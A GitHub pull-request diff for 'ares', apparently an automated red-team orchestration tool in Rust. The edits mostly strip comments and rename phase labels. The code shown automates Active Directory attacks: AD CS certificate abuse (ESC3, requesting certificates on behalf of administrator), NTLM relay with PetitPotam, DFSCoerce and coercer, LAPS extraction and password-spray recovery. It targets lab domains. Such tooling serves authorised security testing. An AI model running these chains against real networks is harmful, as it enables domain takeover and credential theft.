Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 0 additions & 6 deletions ares-cli/src/dedup/labels.rs
Original file line number Diff line number Diff line change
Expand Up @@ -48,15 +48,13 @@ pub(crate) fn normalize_source_label(source: &str) -> String {

let mut source = source.to_string();

// Deduplicate "recon:recon" -> "recon"
if source.contains(':') {
let parts: Vec<&str> = source.split(':').collect();
if parts.len() >= 2 && parts[0] == parts[1] {
source = parts[0].to_string();
}
}

// Extract task type from "task input (recon_abc123)" patterns
let lower = source.to_lowercase();
if lower.contains("task input") {
if let Some(caps) = TASK_INPUT_RE.captures(&source) {
Expand All @@ -66,27 +64,23 @@ pub(crate) fn normalize_source_label(source: &str) -> String {

let lower = source.to_lowercase();

// Exact match
if let Some(label) = LABEL_MAP.get(lower.as_str()) {
return label.to_string();
}

// Prefix match
for (key, label) in LABEL_MAP.iter() {
if lower.starts_with(key) {
return label.to_string();
}
}

// Task ID suffix match (e.g., "recon_abc12345" -> "recon")
if let Some(caps) = TASK_SUFFIX_RE.captures(&lower) {
let task_type = &caps[1];
if let Some(label) = LABEL_MAP.get(task_type) {
return label.to_string();
}
}

// Fallback: replace underscores and title-case
source
.replace('_', " ")
.split_whitespace()
Expand Down
9 changes: 3 additions & 6 deletions ares-cli/src/orchestrator/automation/adcs_exploitation.rs
Original file line number Diff line number Diff line change
Expand Up @@ -1464,9 +1464,6 @@ async fn dispatch_relay_coerce_chain(
"relay chain: cert captured; authenticating with certipy_auth"
);

// Phase 2: certipy auth -pfx <path> -> NT hash for the relayed user.
// The auth produces a Hash discovery via the certipy_auth parser.
//
// The relayed account's realm can differ from the vuln record's
// domain (cross-forest ESC8 — a machine in forest A relayed to a
// CA in forest B via trust). Resolve the home realm + KDC from
Expand Down Expand Up @@ -1782,8 +1779,8 @@ fn esc_instructions(esc_type: &str) -> &'static str {
),
"esc3" => concat!(
"ESC3: Certificate Request Agent (enrollment agent).\n",
"Step 1: certipy_request the CRA template with target=ca_host.\n",
"Step 2: Use that cert to request a cert on behalf of administrator.\n",
"First: certipy_request the CRA template with target=ca_host.\n",
"Then: use that cert to request a cert on behalf of administrator.\n",
"IMPORTANT: Set target to the ca_host IP, not the dc_ip."
),
"esc4" => concat!(
Expand Down Expand Up @@ -3236,7 +3233,7 @@ mod tests {
fn parse_relay_output_captures_pfx_and_user() {
let stdout = "\
RELAY_PID=12345
=== Phase 1: unauth PetitPotam ===
=== unauth PetitPotam ===
[*] PetitPotam succeeded
=== RELAY LOG ===
[+] Authenticating against http://192.168.58.50/certsrv
Expand Down
9 changes: 3 additions & 6 deletions ares-cli/src/orchestrator/automation/laps.rs
Original file line number Diff line number Diff line change
Expand Up @@ -441,8 +441,7 @@ mod tests {
#[test]
fn laps_hash_sweep_emits_work_item_for_valid_ntlm_hash() {
let mut s = state_with_dc("contoso.local", "192.168.58.10");
s.hashes
.push(ntlm_hash("alice", "contoso.local", HASH_A));
s.hashes.push(ntlm_hash("alice", "contoso.local", HASH_A));

let work = collect_laps_hash_sweep_work(&s);
assert_eq!(work.len(), 1);
Expand Down Expand Up @@ -565,8 +564,7 @@ mod tests {
// dedup key go through `.to_lowercase()` — the work item is still
// emitted.
let mut s = state_with_dc("contoso.local", "192.168.58.10");
s.hashes
.push(ntlm_hash("Alice", "CONTOSO.LOCAL", HASH_A));
s.hashes.push(ntlm_hash("Alice", "CONTOSO.LOCAL", HASH_A));
let work = collect_laps_hash_sweep_work(&s);
assert_eq!(work.len(), 1);
assert_eq!(work[0].dedup_key, "laps_extract:sweep:contoso.local:alice");
Expand All @@ -575,8 +573,7 @@ mod tests {
#[test]
fn laps_hash_sweep_emits_one_item_per_eligible_hash() {
let mut s = state_with_dc("contoso.local", "192.168.58.10");
s.hashes
.push(ntlm_hash("alice", "contoso.local", HASH_A));
s.hashes.push(ntlm_hash("alice", "contoso.local", HASH_A));
s.hashes.push(ntlm_hash("bob", "contoso.local", HASH_B));
let work = collect_laps_hash_sweep_work(&s);
assert_eq!(work.len(), 2);
Expand Down
10 changes: 0 additions & 10 deletions ares-cli/src/orchestrator/automation/stall_detection.rs
Original file line number Diff line number Diff line change
Expand Up @@ -328,8 +328,6 @@ mod tests {
}
}

// --- dedup-key shape ---------------------------------------------

#[test]
fn stall_spray_dedup_key_includes_recovery_attempt() {
assert_eq!(
Expand All @@ -354,8 +352,6 @@ mod tests {
);
}

// --- domains_with_pending_delegation ----------------------------

#[test]
fn pending_delegation_empty_state() {
let s = StateInner::new("op".into());
Expand Down Expand Up @@ -416,8 +412,6 @@ mod tests {
assert!(domains_with_pending_delegation(&s).contains("contoso.local"));
}

// --- resolve_stall_dc_ip --------------------------------------------

#[test]
fn resolve_stall_dc_ip_exact_match() {
let mut s = StateInner::new("op".into());
Expand Down Expand Up @@ -448,8 +442,6 @@ mod tests {
assert!(resolve_stall_dc_ip(&s, "contoso.local").is_none());
}

// --- select_stall_spray_work ---------------------------------------

#[test]
fn select_stall_spray_empty_state() {
let s = StateInner::new("op".into());
Expand Down Expand Up @@ -493,8 +485,6 @@ mod tests {
assert_eq!(select_stall_spray_work(&s, 1).len(), 1);
}

// --- select_stall_lhf_work -----------------------------------------

#[test]
fn select_stall_lhf_empty_state() {
let s = StateInner::new("op".into());
Expand Down
2 changes: 0 additions & 2 deletions ares-cli/src/orchestrator/state/publishing/credentials.rs
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,6 @@ impl SharedState {
queue: &TaskQueueCore<impl ConnectionLike + Clone + Send + Sync + 'static>,
cred: Credential,
) -> Result<bool> {
// Sanitize and validate before storage
let (netbios_map, known_domains) = {
let state = self.inner.read().await;
// Known domains = explicit state.domains plus any DC domain keys.
Expand Down Expand Up @@ -177,7 +176,6 @@ impl SharedState {
}
return Ok(false);
}
// Emit before consuming `hash` into state.
emit_op_state(
self.recorder(),
&operation_id,
Expand Down
7 changes: 1 addition & 6 deletions ares-cli/src/orchestrator/state/publishing/domains.rs
Original file line number Diff line number Diff line change
Expand Up @@ -373,12 +373,7 @@ mod tests {
s.domains.push("contoso.local".into());
}
let outcome = state
.publish_candidate_domain(
&q,
"evil.local",
DomainEvidence::HostnameInference,
None,
)
.publish_candidate_domain(&q, "evil.local", DomainEvidence::HostnameInference, None)
.await
.unwrap();
assert_eq!(outcome, DomainPublishOutcome::Held);
Expand Down
8 changes: 0 additions & 8 deletions ares-core/src/nats.rs
Original file line number Diff line number Diff line change
Expand Up @@ -42,8 +42,6 @@ use crate::models::OpStateEvent;
/// Default NATS URL used when neither `ARES_NATS_URL` nor an explicit URL is provided.
pub const DEFAULT_NATS_URL: &str = "nats://127.0.0.1:4222";

// === Subject taxonomy =====================================================

/// Red team task work queue. `ares.tasks.{role}` (e.g. `ares.tasks.recon`).
pub const TASK_SUBJECT_PREFIX: &str = "ares.tasks";
/// Tool dispatch RPC. `ares.tools.exec.{role}`.
Expand All @@ -69,8 +67,6 @@ pub const URGENT_TASK_SUBJECT_PREFIX: &str = "ares.tasks.urgent";
/// Blue task result subject. `ares.blue.tasks.results.{task_id}`.
pub const BLUE_TASK_RESULT_SUBJECT_PREFIX: &str = "ares.blue.tasks.results";

// === Stream names =========================================================

/// JetStream stream containing all red-team task subjects.
pub const TASKS_STREAM: &str = "ARES_TASKS";
/// JetStream stream containing all blue-team task subjects.
Expand All @@ -83,8 +79,6 @@ pub const DISCOVERIES_STREAM: &str = "ARES_DISCOVERIES";
/// Pattern B: this is the source of truth, Redis is a derived cache.
pub const OP_STATE_STREAM: &str = "ARES_OPSTATE";

// === Subject builders =====================================================

#[inline]
pub fn task_subject(role: &str) -> String {
format!("{TASK_SUBJECT_PREFIX}.{role}")
Expand Down Expand Up @@ -144,8 +138,6 @@ pub fn op_state_filter_for_op(operation_id: &str) -> String {
format!("{OP_STATE_SUBJECT_PREFIX}.{operation_id}.>")
}

// === Connection ===========================================================

/// Shared NATS broker handle.
///
/// `async_nats::Client` is already cheaply cloneable and multiplexes all
Expand Down
32 changes: 10 additions & 22 deletions ares-tools/src/coercion.rs
Original file line number Diff line number Diff line change
Expand Up @@ -810,10 +810,9 @@ async fn run_relay_and_coerce<P: CoerceProcs>(
let mut summary = format!("RELAY_PID={}\n", relay.pid());
let mut captured_via: Option<&'static str> = None;

// --- Phase 1: unauthenticated PetitPotam ---
// Distros differ: Kali ships `petitpotam` (symlink), pip ships
// `impacket-petitpotam`. Try in order, log if both missing.
summary.push_str("=== Phase 1: unauth PetitPotam ===\n");
summary.push_str("=== unauth PetitPotam ===\n");
let petit_bin = ["petitpotam", "impacket-petitpotam"]
.into_iter()
.find(|b| procs.which_binary(b))
Expand All @@ -826,7 +825,7 @@ async fn run_relay_and_coerce<P: CoerceProcs>(
procs
.run_phase(
&coerce_log,
"Phase 1: unauth PetitPotam",
"unauth PetitPotam",
petit_bin,
&p1_args,
&workdir,
Expand All @@ -837,9 +836,8 @@ async fn run_relay_and_coerce<P: CoerceProcs>(
captured_via = Some("unauth_petitpotam");
}

// --- Phase 2: authenticated DFSCoerce ---
if captured_via.is_none() && cfg.coerce_user.is_some() {
summary.push_str("=== Phase 2: authenticated DFSCoerce (MS-DFSNM) ===\n");
summary.push_str("=== authenticated DFSCoerce (MS-DFSNM) ===\n");
let user = cfg.coerce_user.as_deref().unwrap();
let secret_args = coerce_secret_args(cfg.coerce_secret.as_ref());
let mut a: Vec<&str> = vec!["-u", user, "-d", cfg.coerce_domain.as_str()];
Expand All @@ -849,28 +847,18 @@ async fn run_relay_and_coerce<P: CoerceProcs>(
a.push(cfg.attacker_ip.as_str());
a.push(cfg.coerce_target.as_str());
procs
.run_phase(
&coerce_log,
"Phase 2: DFSCoerce",
"dfscoerce",
&a,
&workdir,
25,
)
.run_phase(&coerce_log, "DFSCoerce", "dfscoerce", &a, &workdir, 25)
.await;
if poll_for_cert(&relay_log, opts.poll_phase_2, opts.poll_interval).await {
captured_via = Some("MS-DFSNM");
}
}

// --- Phase 3: coercer over MS-EFSR / MS-RPRN ---
if captured_via.is_none() && cfg.coerce_user.is_some() {
let user = cfg.coerce_user.as_deref().unwrap();
let secret_args = coerce_secret_args(cfg.coerce_secret.as_ref());
for proto in ["MS-EFSR", "MS-RPRN"] {
summary.push_str(&format!(
"=== Phase 3: authenticated coerce via {proto} ===\n"
));
summary.push_str(&format!("=== authenticated coerce via {proto} ===\n"));
let mut a: Vec<&str> = vec![
"coerce",
"-u",
Expand All @@ -893,7 +881,7 @@ async fn run_relay_and_coerce<P: CoerceProcs>(
procs
.run_phase(
&coerce_log,
&format!("Phase 3: {proto}"),
&format!("coerce via {proto}"),
"coercer",
&a,
&workdir,
Expand Down Expand Up @@ -1721,10 +1709,10 @@ mod tests {
}
}

const PHASE1: &str = "Phase 1: unauth PetitPotam";
const PHASE2: &str = "Phase 2: DFSCoerce";
const PHASE3_EFSR: &str = "Phase 3: MS-EFSR";
const PHASE3_RPRN: &str = "Phase 3: MS-RPRN";
const PHASE1: &str = "unauth PetitPotam";
const PHASE2: &str = "DFSCoerce";
const PHASE3_EFSR: &str = "coerce via MS-EFSR";
const PHASE3_RPRN: &str = "coerce via MS-RPRN";

#[tokio::test]
async fn run_attacker_ip_not_local_bails_with_clear_error() {
Expand Down
Loading
Loading